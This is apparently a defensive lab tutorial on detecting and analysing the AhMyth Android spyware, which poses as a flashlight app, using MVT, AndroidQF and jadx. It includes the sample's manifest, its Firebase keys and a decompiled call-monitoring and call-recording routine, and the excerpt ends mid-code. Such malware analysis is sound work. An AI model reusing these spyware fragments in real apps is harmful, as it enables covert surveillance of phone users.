Skip to content

Tutorial: Analyzing AhMyth Malware on Android

This is a comprehensive tutorial to analysing AhMyth malware to learn how to detect it and track its interaction with infrastructure.

By the end of this tutorial, you will be able to:

  • Set up a safe analysis environment.
  • Install essential tools (ADB, Go, MVT, AndroidQF, jadx).
  • Collect forensic data from a clean and infected Android device.
  • Detect malicious indicators of compromise (IoCs).
  • Inspect the malware’s code to understand its capabilities.

This tutorial assumes you have basic familiarity with Linux and a spare Android device for testing.

Safety & operational notes

  • Never analyze live samples on a production network — isolate the host network or use an air-gapped lab or strict firewall rules.
  • Keep your tools patched and use disposable devices for malware execution.
  • Keep a canonical audit log: commands, timestamps, hashes, and collected artifacts.
  • If you must query public services (VirusTotal, MalwareBazaar), do so from a controlled environment.

Step 1: Setting up the Lab

In setting up the lab here is what you need:

  • A host machine with at least 8 GB RAM, 40 GB free space
  • An Android device with USB Debugging enabled and a USB cable
  • VirtualBox installed: https://www.virtualbox.org/wiki/Downloads
  • Kali Linux ISO: https://www.kali.org/get-kali/
  • Stable Internet connection

  • Create a new Kali VM in virtual Box

  • Launch VirtualBox → Click New
  • Enter name: Kali-Linux
  • Set:
    • Type: Linux
    • Version: Debian (64-bit)
  • Memory size: at least 4096 MB
  • Create a virtual hard disk now → VDI, dynamically allocated → Size: 30–50 GB
  • Click Settings > Storage → Add the Kali ISO as the optical disk under “Controller: IDE”

  • Boot and Install Kali

  • Start the VM → Boot into the ISO
  • Choose Graphical Install
  • Set locale, hostname, user & password
  • Use entire disk → install GRUB
  • Finish installation → reboot into your Kali VM

  • Update Your Kali System

  • Open Terminal and run:
┌──(kali㉿kali)-[~] └─$ sudo apt update && sudo apt upgrade -y
  1. Enable USB passthrough so the Android device is recognized inside the VM
  2. Shut down the VM
  3. Go to VM settings → USB → Enable USB 2.0 (or 3.0 if supported)
  4. Plug in your Android device
  5. Add a new USB filter (use the list to find your phone)
  6. Then in the terminal check for the device, you should see the device listed
    • Open Terminal and run:
┌──(kali㉿kali)-[~]└─$ adb devices   * daemon not running; starting now at tcp:5037* daemon started successfullyList of devices attached445efb32        device
  1. Enable USB debugging on your Android device
  2. Go to Settings → About phone → tap Build number 7 times
  3. Then: Settings → Developer Options → Enable USB debugging

Step 2: Installing Software

  1. Install ADB (Android Debug Bridge)
  2. Open Terminal and run:
sudo apt install android-tools-adb android-tools-fastboot -y
  1. To verify:
    • Open Terminal and run:
┌──(kali㉿kali)-[~]└─$ adb version                        Android Debug Bridge version 1.0.41Version 34.0.5-debianInstalled as /usr/lib/android-sdk/platform-tools/adbRunning on Linux 6.12.25-amd64 (x86_64)
  1. Install Go (Golang)
  2. Open Terminal and run:
sudo apt install golang -y
  1. To verify:
    • Open Terminal and run:
┌──(kali㉿kali)-[~]└─$ go version                                          go version go1.24.2 linux/amd64
  1. Install MVT (Mobile Verification Toolkit)
  2. Open Terminal and run:
sudo apt install python3-pip libusb-1.0-0-dev libimobiledevice6 -y
pip install --upgrade pip
pip install mvt
  1. To verify:
    • Open Terminal and run:
┌──(kali㉿kali)-[~]└─$ mvt-android --helpUsage: mvt-android [OPTIONS] COMMAND [ARGS]...Options:  --help  Show this message and exit.Commands:  check-adb        Check an Android device over ADB  check-androidqf  Check data collected with AndroidQF  check-backup     Check an Android Backup  check-bugreport  Check an Android Bug Report  check-iocs       Compare stored JSON results to provided indicators  download-apks    Download all or only non-system installed APKs  download-iocs    Download public STIX2 indicators  version          Show the currently installed version of MVT
$ mvt-android download-iocs
MVT - Mobile Verification Toolkit (Version: 2.6.1)

INFO  Downloaded "NSO Group Pegasus Indicators of Compromise"
INFO  Downloaded "Predator Spyware Indicators of Compromise"
INFO  Downloaded "RCS Lab Spyware Indicators of Compromise"
INFO  Downloaded "Stalkerware Indicators of Compromise"
INFO  Downloaded "Operation Triangulation Indicators of Compromise"
INFO  Downloaded "WyrmSpy and DragonEgg Indicators of Compromise"
INFO  Downloaded "NoviSpy (Serbia) Indicators of Compromise"
  1. Install Android QF (Quick Forensics)
  2. Install make
  3. Clone the tool
  4. Open Terminal and run:
git clone https://github.com/AmnestyTech/Android-Quick-Forensics.git
cd androidqf
make collector
make linux
  1. To verify:
    • Open terminal and run:
cd build
┌──(kali㉿kali)-[~/Downloads/androidqf/build]└─$ ./androidqf_linux_amd64 -help                            __           _     __      ____            ____  ____  ____/ /________  (_)___/ /___  / __/           / __ '/ __ \\/ __  / ___/ __ \\/ / __  / __ '/ /_            / /_/ / / / / /_/ / /  / /_/ / / /_/ / /_/ / __/            \\__,_/_/ /_/\\__,_/_/   \\____/_/\\__,_/\\__, /_/                                                      /_/                         androidqf - Android Quick ForensicsUsage of ./androidqf_linux_amd64:  -f    Fast mode  -fast        Fast mode  -l    List modules and exit  -list        List modules and exit  -m string        Only execute a specific module  -module string        Only execute a specific module  -o string        Output folder  -output string        Output folder  -s string        Phone serial number  -serial string        Phone serial number  -v    Verbose mode  -verbose        Verbose mode  -version        Show version

Step 3: Detecting the malware

In this section we will be looking at how the device looks without and with malware and compare the two and get an understanding of what the malware does.

Extracting and analysis using AndroidQF and MVT

  1. Generate a complete backup using AndroidQF..
    1. Open terminal and go into the build folder within the AndroidQF then run:
./androidqf
2. You will get a prompt to agree to a full backup of the device, select everything
┌──(kali㉿kali)-[~/Downloads/androidqf/build]└─$ ./androidqf_linux_amd64                                  __           _     __      ____            ____  ____  ____/ /________  (_)___/ /___  / __/           / __ '/ __ \\/ __  / ___/ __ \\/ / __  / __ '/ /_            / /_/ / / / / /_/ / /  / /_/ / / /_/ / /_/ / __/            \\__,_/_/ /_/\\__,_/_/   \\____/_/\\__,_/\\__, /_/                                                      /_/                         androidqf - Android Quick ForensicsError trying to connect over ADB: no devices detected over ADBStarted new acquisition in /home/kali/Downloads/androidqf/build/35298260-9491-4b20-8c65-4cf27546ec20Would you like to take a backup of the device?ERROR: failed to run module backup: failed to make selection for backup option: ^CUse the arrow keys to navigate: ↓ ↑ → ← ? Backup:   ▸ Only SMS    Everything    No backup
3. Go to the device and set a password to encrypt the backup and  click on backup my data.

Android backup encryption prompt

  1. You will then get an option to download copies of all apps or only non-system ones click All.
Would you like to download copies of all apps or only non-system ones?Use the arrow keys to navigate: ↓ ↑ → ← ? Download:    ▸ All    Only non-system packages    Do not download any
  1. And finally you will get a prompt to remove copies of apps signed with a trusted certificate to limit the size of the output folder, click NO
Would you like to remove copies of apps signed with a trusted certificate to limit the size of the output folder? Use the arrow keys to navigate: ↓ ↑ → ←  ? Remove:      Yes   ▸ No
  1. Finally a prompt to Press Enter to Finish.

Analysis of the clean device

Capturing a clean baseline lets you compare and attribute changes specifically caused by the malware (new packages, receivers, permission grants, file writes).

Initial analysis

In the initial analysis we will check for anything suspicious on the device itself.
We can perform an initial analysis of the device by looking at any permissions that may be suspicious as well as and detections by the playstore. (In our case the device is not logged into any email addresses), Therefore there will not be much we see in the playstore app.

  1. To check for any detections on the playstore
    1. Go to Playstore
    2. Click on the three dots on your right
    3. Click Play Protect → Click Scan

Google Play Protect scan showing no harmful apps

Forensic analysis

Here we will do an analysis of the device using MVT.

  1. Using MVT perform a detailed analysis on the AndroidQF output
    1. In the terminal run:
mvt-android check-androidqf ./folder-path
2. This is what you expect to see.
┌──(kali㉿kali)-[~/Desktop/Dirty/andy/3a]└─$ mvt-android check-androidqf ./3a        MVT - Mobile Verification Toolkit                https://mvt.re                Version: 2.6.1                Indicators updates checked recently, next automatic check in 9 hours
  1. Here is an output from the clean device.
    1. Check the warnings for anything that stands out.
    2. From my device here is a summary of some of the suspicious things we notice. Due to it being a device at its EOL some of these warnings are expected.
INFO     [mvt.android.modules.bugreport.getprop] ro.boot.serialno: 445efb32                                                           INFO     [mvt.android.modules.bugreport.getprop] ro.build.version.sdk: 31                                                             INFO     [mvt.android.modules.bugreport.getprop] ro.build.version.security_patch: 2023-12-05                                          WARNING  [mvt.android.modules.bugreport.getprop] This phone has not received security updates for more than six months (last                   update: 2023-12-05)                                                                                                          INFO     [mvt.android.modules.bugreport.getprop] ro.product.cpu.abi: arm64-v8a                                                        INFO     [mvt.android.modules.bugreport.getprop] ro.product.locale: en-US                                                             INFO     [mvt.android.modules.bugreport.getprop] ro.product.vendor.manufacturer: OnePlus                                              INFO     [mvt.android.modules.bugreport.getprop] ro.product.vendor.model: AC2003                                                      INFO     [mvt.android.modules.bugreport.getprop] ro.product.vendor.name: Nord_EEA

Step 4:Infecting the device with the malware

Here we will download the malware from malware bazaar, we are looking for an apk version of the malware.

  1. On malware bazaar homepage:
    1. Click on MalwareBazaar Database
    2. In the search bar type tag:AhMyth
    3. For this tutorial we used the sample from 2024-03-09 09:23

MalwareBazaar search results for AhMyth samples

  1. To transfer the file to the device:
    1. Enable file transfer on the device upon connecting it to the vm via USB as shown in step 4.
    2. Go to the file manager and transfer the file to the mobile device.
    3. On the device:
    4. Go to Settings → Password \&security → System security
    5. Installation sources → Enable MyFiles
    6. This should allow us to install the apk from file storage.
    7. Once that is done:
    8. Go to Myfiles → APKs → tap on the APK
    9. Install the application
    10. It should launch and request a variety of permissions.

Step 5: Analysis of the compromised device

Initial analysis

  1. Once the apk is installed we can perform an initial analysis of the device by looking at:
    1. What the application does, in this case it is a flashlight application.

AhMyth flashlight app interface

  1. Permissions that the app requests, in this instance we see that a flashlight application would be malicious in requesting these permissions.

Flashlight app settings showing suspicious features

Flashlight app permissions showing excessive access

  1. Check if it is detected by play protect, and we see that it is not.

Google Play Protect scan showing no harmful apps

Forensic analysis

  1. Once the apk is installed we will repeat step 10
  2. From the analysis of the bug report we can see all the warnings that were previously identified in the analysis of the clean device as well as one suspicious warning.
    1. A package with the name “com.android.vendng” was found to have potentially dangerous permissions.
INFO     [mvt.android.modules.androidqf.dumpsys_packages] Found package "com.android.vendng" requested 13 potentially                         dangerous permissions
2. On looking up the package name online here’s what I found:  
   * “com.android.vending” is the package name for the Google Play Store application on Android devices, it's the technical link between the Play Store and the system's functionalities, such as verifying app purchases, managing installations, and handling updates.  
   * However, in our case the package name found is missing an “i” which is  “com.android.vendng”. This could possibly disguise the package name as a reference to the playstore so as not to be detected.  
3. We also see a receiver monitoring incoming & outgoing calls, sms messages and the state of call.
INFO     [mvt.android.modules.androidqf.dumpsys_receivers] Running module DumpsysReceivers...                                        INFO     [mvt.android.modules.androidqf.dumpsys_receivers] Extracted receivers for 1159 intents                                      INFO     [mvt.android.modules.androidqf.dumpsys_receivers] Found a receiver monitoring telephony state/incoming calls:                        "com.android.vendng/.receiver.CallReceiver"                                                                                 INFO     [mvt.android.modules.androidqf.dumpsys_receivers] Found a receiver to intercept incoming SMS messages:                               "com.google.android.apps.messaging/.shared.receiver.ConfigSmsReceiver"                                                      INFO     [mvt.android.modules.androidqf.dumpsys_receivers] Found a receiver to intercept incoming SMS messages:                               "com.google.android.apps.messaging/.shared.receiver.SmsReceiver"                                                   17:32:33 INFO     [mvt.android.modules.androidqf.dumpsys_receivers] Found a receiver monitoring outgoing calls:                                        "com.google.android.gms/.chimera.GmsIntentOperationService$PersistentTrustedReceiver"                                       INFO     [mvt.android.modules.androidqf.dumpsys_receivers] Found a receiver monitoring outgoing calls:                                        "com.android.vendng/.receiver.CallReceiver"
During the AndroidQF analysis a folder was created containing all the artifacts collected from the analysis. In this folder we will look at several files to see if we can get any more clues as to how the malware operates.

AndroidQF output folder structure

AndroidQF collected artifacts

MVT analysis output files

  1. Checking the packages.json file we see that the installer is the file manager. If it was a legitimate application the installer would reference the package name “com.android.vending” referring to the playstore. So here we see that the application was installed through the file manager.
{        "name": "com.android.vendng",        "files": [            {                "path": "/data/app/~~df6B5pNzaIcpowEEMbd6Sw==/com.android.vendng-NfWkGmGV-oLVh4FPAWQ7zg==/base.apk",                "local_name": "",                "md5": "caca3ea76d9d6ee87e940dc1f59be0a2",                "sha1": "92750f9fcc351cb81da89e0fd0c0714a652ea385",                "sha256": "1e1e23c920eeaca8e9ffc1f946fcb978fa2419815b7b5dcf9a1cca9b934f8c4b",                "sha512": "851e0b7511d206f7cf431d334e909c95264fd51f6287c8f12d054ae9c8d0b34aa2882a55fd3598cabfb47403dbdc15f75b1a44ea4f753aca8f85aef0279eaa3f",                "error": "",                "verified_certificate": true,                "certificate": {                    "Md5": "ffd6314a83f267ac4f9407fd2e5a0480",                    "Sha1": "5d08264b44e0e53fbccc70b4f016474cc6c5ab5c",                    "Sha256": "1e08a903aef9c3a721510b64ec764d01d3d094eb954161b62544ea8f187b5953",                    "ValidFrom": "2016-10-23T20:10:05Z",                    "ValidTo": "2044-03-10T20:10:05Z",                    "Issuer": "C=US, ST=US, L=US, O=US, OU=Android, CN=Android Debug",                    "Subject": "C=US, ST=US, L=US, O=US, OU=Android, CN=Android Debug",                    "SignatureAlgorithm": "SHA256-RSA",                    "SerialNumber": 90970645                },                "certificate_error": "",                "trusted_certificate": false            }        ],        "installer": "com.oneplus.filemanager",        "uid": 10270,        "disabled": false,        "system": false,        "third_party": true    },
  1. We can also take a look at the actual “com.android.vending” which is that playstore package name, to see how it is supposed to actually look.
{        "name": "com.android.vending",        "files": [            {                "path": "/data/app/~~2DIGr_75_eUMtydBQ2DVnw==/com.android.vending-j0oxp29GGg8e4yAFCAZD-g==/base.apk",                "local_name": "",                "md5": "bef8ed1f5cc42c2c3d2d0e49d710e47b",                "sha1": "6e9d05bec37bf4dcaec76f95d36543908ac5eb94",                "sha256": "6dbbf7b62d9ca09aa8b76f30f318b3064ac14a65b9777590df6b3607e19c385d",                "sha512": "a9fdbd64878aa288352cec8fdcd706a428e86816a69bfe1159c883ef78f009676d2918ab8949e865d37a7faabecb1571226412e014e2480af1b3175625e27083",                "error": "",                "verified_certificate": true,                "certificate": {                    "Md5": "f026fdcf21375f987164c84da76ef5fd",                    "Sha1": "bd32424203e0fb25f36b57e5aa356f9bdd1da998",                    "Sha256": "7ce83c1b71f3d572fed04c8d40c5cb10ff75e6d87d9df6fbd53f0468c2905053",                    "ValidFrom": "2020-03-09T19:57:01Z",                    "ValidTo": "2050-03-09T19:57:01Z",                    "Issuer": "C=US, ST=California, L=Mountain View, O=Google Inc., OU=Android, CN=Android",                    "Subject": "C=US, ST=California, L=Mountain View, O=Google Inc., OU=Android, CN=Android",                    "SignatureAlgorithm": "SHA256-RSA",                    "SerialNumber": 94430156387871767515727309924577473117736790889                },                "certificate_error": "",                "trusted_certificate": true            },
  1. In the command.log file, we do see the same package name with a request for 13 permissions as well as having a receiver to monitor state and incoming calls and similar package name.
2025-07-04 08:59:16,898 - mvt.android.modules.androidqf.dumpsys_receivers - INFO - Found a receiver monitoring telephony state/incoming calls: "com.android.vendng/.receiver.CallReceiver"2025-07-04 08:59:17,240 - mvt.android.modules.androidqf.dumpsys_receivers - INFO - Found a receiver to intercept incoming SMS messages: "com.google.android.apps.messaging/.shared.receiver.ConfigSmsReceiver"2025-07-04 08:59:17,241 - mvt.android.modules.androidqf.dumpsys_receivers - INFO - Found a receiver to intercept incoming SMS messages: "com.google.android.apps.messaging/.shared.receiver.SmsReceiver"2025-07-04 08:59:17,344 - mvt.android.modules.androidqf.dumpsys_receivers - INFO - Found a receiver monitoring outgoing calls: "com.google.android.gms/.chimera.GmsIntentOperationService$PersistentTrustedReceiver"2025-07-04 08:59:17,345 - mvt.android.modules.androidqf.dumpsys_receivers - INFO - Found a receiver monitoring outgoing calls: "com.android.vendng/.receiver.CallReceiver"
2025-07-04 08:59:21,265 - mvt.android.modules.androidqf.dumpsys_packages - INFO - Found package "com.android.vendng" requested 13 potentially dangerous permissions
  1. Upon checking the timeline.csv file we can see what the malware was able to do once installed sequentially and chronologically.
    1. Firstly it installed and tried to update
"2025-07-03 15:39:12.000000","Files","MAC-","/sys/fs/cgroup/uid_1000/pid_16886/cpu.pressure (u:object_r:cgroup_v2:s0)""2025-07-03 15:39:13.013000","DumpsysAppops","Access","com.android.vending access to START_FOREGROUND: Access""2025-07-03 15:39:18.492000","DumpsysAppops","Reject","com.oneplus.gallery access to MANAGE_EXTERNAL_STORAGE: Reject""2025-07-03 15:39:18.493000","DumpsysAppops","Reject","com.oneplus.gallery access to NO_ISOLATED_STORAGE: Reject""2025-07-03 15:40:21.000000","Files","M-C-","/dev/block/sdf3 (u:object_r:vendor_modem_efs_partition_device:s0)""2025-07-03 15:42:41.546000","DumpsysAppops","Access","com.oneplus.filemanager access to REQUEST_INSTALL_PACKAGES: Access""2025-07-03 15:42:43","DumpsysPackages","package_first_install","Install or update of package com.android.vendng""2025-07-03 15:42:43","DumpsysPackages","package_last_update","Install or update of package com.android.vendng""2025-07-03 15:42:43","DumpsysPackages","package_install","Install or update of package com.android.vendng""2025-07-03 15:44:13.607000","DumpsysAppops","Access","com.android.vendng access to BIND_ACCESSIBILITY_SERVICE: Access""2025-07-03 15:44:14.000000","Files","MAC-","/sys/fs/cgroup/uid_10270/cgroup.type (u:object_r:cgroup_v2:s0)"
2. Then  immediately gets granted access to the BIND\_ACCESSIBILITY\_SERVICE, which is often used to gain deeper control over the device.
"2025-07-03 15:56:39.000000","Files","MAC-","/sys/fs/cgroup/uid_99028/cgroup.freeze (u:object_r:cgroup_v2:s0)""2025-07-03 15:57:12.897000","DumpsysAppops","Access","com.google.android.apps.messaging access to READ_CONTACTS: Access""2025-07-03 16:02:20.461000","DumpsysAppops","Access","com.google.android.gms access to BLUETOOTH_CONNECT: Access""2025-07-03 16:04:33.079000","DumpsysAppops","Access","com.android.vendng access to BIND_ACCESSIBILITY_SERVICE: Access""2025-07-03 16:07:00.000000","Files","M-C-","/sdcard/Android/data/com.heytap.accessory/files/Documents/FileLog/com_heytap_accessory_2025_07_03_15.dog3 (u:object_r:sdcardfs:s0)""2025-07-03 16:07:00.000000","Files","-A--","/sdcard/Android/data/com.heytap.accessory/files/Documents/FileLog/com_heytap_accessory_2025_07_03_16.dog3 (u:object_r:sdcardfs:s0)""2025-07-03 16:08:54.086000","DumpsysAppops","Access","com.android.vendng access to START_FOREGROUND: Access""2025-07-03 16:08:54.086000","DumpsysAppops","Access","com.android.vendng access to WAKE_LOCK: Access""2025-07-03 16:08:54.313000","DumpsysAppops","Access","com.google.android.gms access to ACTIVITY_RECOGNITION_SOURCE: Access"
3.  Then monitors the state of the device upon waking.
"2025-07-03 22:08:25.000000","Files","MAC-","/sys/fs/cgroup/uid_10083/pid_19168/io.pressure (u:object_r:cgroup_v2:s0)""2025-07-03 22:08:25.013000","DumpsysAppops","Access","com.android.systemui access to READ_PHONE_STATE: Access""2025-07-03 22:08:25.472000","DumpsysAppops","Access","com.android.vendng access to START_FOREGROUND: Access""2025-07-03 22:08:25.583000","DumpsysAppops","Access","com.android.vendng access to WAKE_LOCK: Access""2025-07-03 22:08:25.593000","DumpsysAppops","Reject","android access to GET_USAGE_STATS: Reject""2025-07-03 22:08:26.000000","Files","M-C-","/sys/devices/system/cpu/cpu6/core_ctl/min_cpus (u:object_r:sysfs_devices_system_cpu:s0)"
  1. In checking the dumpsys_packages_detected.json we see the list of permissions.
{
  "package_name": "com.android.vendng",
  "uid": "10270",
  "version_name": "1.0.2",
  "timestamp": "2025-07-03 15:42:43",
  "permissions": [
    {"name": "android.permission.INTERNET", "granted": true, "type": "install"},
    {"name": "android.permission.FOREGROUND_SERVICE", "granted": true, "type": "install"},
    {"name": "android.permission.RECEIVE_BOOT_COMPLETED", "granted": true, "type": "install"},
    {"name": "android.permission.WAKE_LOCK", "granted": true, "type": "install"},
    {"name": "android.permission.WRITE_SMS", "granted": true, "type": "install"},
    {"name": "android.permission.READ_SMS", "granted": true, "type": "runtime"},
    {"name": "android.permission.READ_CALL_LOG", "granted": true, "type": "runtime"},
    {"name": "android.permission.SEND_SMS", "granted": true, "type": "runtime"},
    {"name": "android.permission.CALL_PHONE", "granted": true, "type": "runtime"},
    {"name": "android.permission.CAMERA", "granted": true, "type": "runtime"},
    {"name": "android.permission.RECORD_AUDIO", "granted": true, "type": "runtime"},
    {"name": "android.permission.READ_CONTACTS", "granted": true, "type": "runtime"},
    {"name": "android.permission.PROCESS_OUTGOING_CALLS", "granted": true, "type": "runtime"},
    {"name": "android.permission.WRITE_EXTERNAL_STORAGE", "granted": true, "type": "runtime"}
    // ... additional permissions (36 total requested)
  ]
}
  1. From the packages.json ,there's a sha256 hash for the application. Which we use to check for it on virus total and see that it has been flagged as malicious.
{        "name": "com.android.vendng",        "files": [            {                "path": "/data/app/~~df6B5pNzaIcpowEEMbd6Sw==/com.android.vendng-NfWkGmGV-oLVh4FPAWQ7zg==/base.apk",                "local_name": "",                "md5": "caca3ea76d9d6ee87e940dc1f59be0a2",                "sha1": "92750f9fcc351cb81da89e0fd0c0714a652ea385",                "sha256": "1e1e23c920eeaca8e9ffc1f946fcb978fa2419815b7b5dcf9a1cca9b934f8c4b",                "sha512": "851e0b7511d206f7cf431d334e909c95264fd51f6287c8f12d054ae9c8d0b34aa2882a55fd3598cabfb47403dbdc15f75b1a44ea4f753aca8f85aef0279eaa3f",                "error": "",                "verified_certificate": true,                "certificate": {                    "Md5": "ffd6314a83f267ac4f9407fd2e5a0480",                    "Sha1": "5d08264b44e0e53fbccc70b4f016474cc6c5ab5c",                    "Sha256": "1e08a903aef9c3a721510b64ec764d01d3d094eb954161b62544ea8f187b5953",                    "ValidFrom": "2016-10-23T20:10:05Z",                    "ValidTo": "2044-03-10T20:10:05Z",                    "Issuer": "C=US, ST=US, L=US, O=US, OU=Android, CN=Android Debug",                    "Subject": "C=US, ST=US, L=US, O=US, OU=Android, CN=Android Debug",                    "SignatureAlgorithm": "SHA256-RSA",                    "SerialNumber": 90970645                },                "certificate_error": "",                "trusted_certificate": false            }        ]

VirusTotal detection results for the APK

Analysis of the application

Application analysis

In this section I want to further understand the app’s capabilities by examining its source code. This phase will allow us to identify any suspicious code and understand how the app might be interacting with the system and user data.I will use jadx to take a look at the apk file.

  1. Change your directory to the bin directory within the jadx folder, you may want to get a copy of the apk file from the output folder generated when running androidqf. We are going to be using the GUI version of jadx to analyse the file.
    1. In the terminal run:
┌──(kali㉿kali)-[~/Downloads/bin]└─$ ./jadx-gui com.android.vendng_com.android.vendng-NfWkGmGV-oLVh4FPAWQ7zg.apkINFO  - Checking for updates...INFO  - Update channel: STABLE, current version: 1.5.2INFO  - output directory: com.android.vendng_com.android.vendng-NfWkGmGV-oLVh4FPAWQ7zgINFO  - loading ...INFO  - No updates foundWARN  - Found duplicated class: kotlin.coroutines.jvm.internal.DebugProbesKt, count: 2\. Only one will be loaded!  classes.dex  com.android.vendng_com.android.vendng-NfWkGmGV-oLVh4FPAWQ7zg.apk:DebugProbesKt.binINFO  - Loaded classes: 10172, methods: 68509, instructions: 1792599INFO  - Found 5169 classes in disk cache, time: 126ms, dir: /home/kali/.cache/jadx/projects/com.android.vendng_com.android.vendng-NfWkGmGV-oLVh4FPAWQ7zg-f64a7bc6625070a16d42aabb015533bf/code
2. This will now open:

jadx GUI showing decompiled APK structure

  1. We can now expand the resources section to take a look at the Manifest file AndroidManifest.xml . Taking a look at it we see
    1. User permissions that will be requested.
<uses-permission android:name="android.permission.FLASHLIGHT"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<!-- ... 40+ additional permissions and hardware features -->
2. Call monitoring capability
<receiver           android:name="com.android.vendng.receiver.CallReceiver"           android:enabled="true"           android:exported="false">           <intent-filter>               <action android:name="Play"/>               <action android:name="Pause"/>           </intent-filter>           <intent-filter>               <action android:name="android.intent.action.PHONE_STATE"/>               <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>           </intent-filter>       </receiver>
3. Package install and upgrade
<receiver           android:name="com.android.vendng.receiver.PackageReceiver"           android:enabled="true"           android:exported="true">           <intent-filter>               <action android:name="android.intent.action.PACKAGE_INSTALL"/>               <action android:name="android.intent.action.PACKAGE_ADDED"/>               <action android:name="android.intent.action.PACKAGE_REMOVED"/>               <action android:name="android.intent.action.PACKAGE_ADDED"/>               <action android:name="android.intent.action.PACKAGE_CHANGED"/>               <action android:name="android.intent.action.MY_PACKAGE_REPLACED"/>               <data android:scheme="package"/>           </intent-filter>       </receiver>
4. Monitoring screen on and off to monitor interactions
<receiver           android:name="com.android.vendng.receiver.ScreenReceiver"           android:exported="true">           <intent-filter>               <action android:name="android.intent.action.SCREEN_ON"/>               <action android:name="android.intent.action.SCREEN_OFF"/>               <action android:name="android.intent.action.ACTION_POWER_CONNECTED"/>               <action android:name="android.intent.action.ACTION_POWER_DISCONNECTED"/>               <action android:name="android.intent.action.USER_PRESENT"/>           </intent-filter>       </receiver>
5. Microphone monitoring
<service           android:name="com.android.vendng.service.CallService"           android:enabled="true"           android:exported="true"           android:stopWithTask="false"           android:directBootAware="true"           android:foregroundServiceType="microphone|camera|mediaProjection|location|phoneCall|mediaPlayback"/>       <service           android:name="com.android.vendng.service.AppAccessibilityService"           android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"           android:enabled="true"           android:exported="false"           android:process=":accessProcess"           android:directBootAware="true">           <intent-filter>               <action android:name="android.accessibilityservice.AccessibilityService"/>           </intent-filter>           <meta-data               android:name="android.accessibilityservice"               android:resource="@xml/accessibility_service_config"/>       </service>
6. Notification listening
<service           android:label="app service"           android:name="com.android.vendng.service.NotificationListener"           android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"           android:exported="false">           <intent-filter>               <action android:name="android.service.notification.NotificationListenerService"/>           </intent-filter>           <meta-data               android:name="android.service.notification.default_filter_types"               android:value="conversations|alerting"/>           <meta-data               android:name="android.service.notification.disabled_filter_types"               android:value="ongoing|silent"/>       </service>
  1. We can then take a look at the strings.xml file under resources.arsc/res/values/
    1. The actual name the user sees on the device.
<string name="app_name">Flashlight</string><string name="app_notification">Notification of app</string><string name="app_version">App Version</string>
2. A gcm\_sender id , which is an identifier that the device uses to know where to send the push notifications to , identifies  the Firebase backend used by the developer (or attacker), sometimes malicious apps reuse public or exposed Firebase projects.
<string name="flash_light">Flash Light</string>   <string name="gcm_defaultSenderId">887535135662</string>   <string name="google_api_key">AIzaSyB1FMMctKwc3pv5WMV-XH1F9MPomlRsUXs</string>   <string name="google_app_id">1:887535135662:android:2b0daf6b8f72dbd842363f</string>   <string name="google_crash_reporting_api_key">AIzaSyB1FMMctKwc3pv5WMV-XH1F9MPomlRsUXs</string>   <string name="google_storage_bucket">suggestai-384921.appspot.com</string>   <string name="haptic_feedback">Haptic feedback</string>
3. Developer information
<string name="m3_sys_motion_easing_standard_decelerate">cubic-bezier(0, 0, 0, 1)</string>   <string name="market_developer_string">http://play.google.com/store/apps/developer?id=Kaushal Vasava</string>   <string name="market_string">market://search?q=pub:Kaushal Vasava</string>   <string name="material_clock_display_divider">:</string>

In this section we will be taking a deeper look into the receivers and the code we can see what information is retrieved by the receivers. We begin by taking a look at the receivers in the manifest.xml file and then go ahead and click on the receiver under the android.permission and have a look at the code

  1. Call receiver -listens for incoming and outgoing phone calls. In this case it has been used to:
    1. Monitor for calls
    2. Retrieve information on calls:
    3. Caller ID
    4. Number
    5. Record audiotrigger actions after the call such as exfiltration and upload to a c2 server.
<receiver           android:name="com.android.vendng.receiver.CallReceiver"           android:enabled="true"           android:exported="false">           <intent-filter>               <action android:name="Play"/>               <action android:name="Pause"/>           </intent-filter>           <intent-filter>               <action android:name="android.intent.action.PHONE_STATE"/>               <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>           </intent-filter>       </receiver>
private final void handleCallReceivingIntents(Context context, Intent intent) {       int state;       try {           if (intent.getAction() != null) {               if (Intrinsics.areEqual(intent.getAction(), "android.intent.action.NEW_OUTGOING_CALL")) {                   Bundle extras = intent.getExtras();                   Intrinsics.checkNotNull(extras);                   this.savedNumber = extras.getString("android.intent.extra.PHONE_NUMBER");                   return;               }               Bundle extras2 = intent.getExtras();               Intrinsics.checkNotNull(extras2);               String stateStr = extras2.getString("state");               Bundle extras3 = intent.getExtras();               Intrinsics.checkNotNull(extras3);               String incomingCallerNumber = extras3.getString("incoming_number");               String incomingCallerName = getContactDisplayNameByNumber(incomingCallerNumber, context);               if (Intrinsics.areEqual(stateStr, TelephonyManager.EXTRA_STATE_IDLE)) {                   state = 0;               } else if (Intrinsics.areEqual(stateStr, TelephonyManager.EXTRA_STATE_OFFHOOK)) {                   state = 2;               } else if (!Intrinsics.areEqual(stateStr, TelephonyManager.EXTRA_STATE_RINGING)) {                   state = 0;               } else {                   state = 1;               }               onCallStateChanged(context, state, incomingCallerNumber, incomingCallerName, intent);           }       } catch (Exception e) {           e.printStackTrace();       }   }
4. We also see the ability to record the calls and convert it into an mp3 and save it on the device.
private final void startRecording(Context context, Intent intent) {
    MediaRecorder mediaRecorder = new MediaRecorder(context);
    File sampleDir = Environment.getExternalStorageDirectory().getAbsoluteFile();
    this.audiofile = File.createTempFile(
        "Flash_Record" + System.currentTimeMillis(), ".mp3", sampleDir);

    mediaRecorder.setAudioSource(source);  // VOICE_CALL or MIC
    mediaRecorder.setOutputFormat(3);
    mediaRecorder.setAudioEncoder(1);
    mediaRecorder.setOutputFile(file.getAbsolutePath());
    mediaRecorder.prepare();
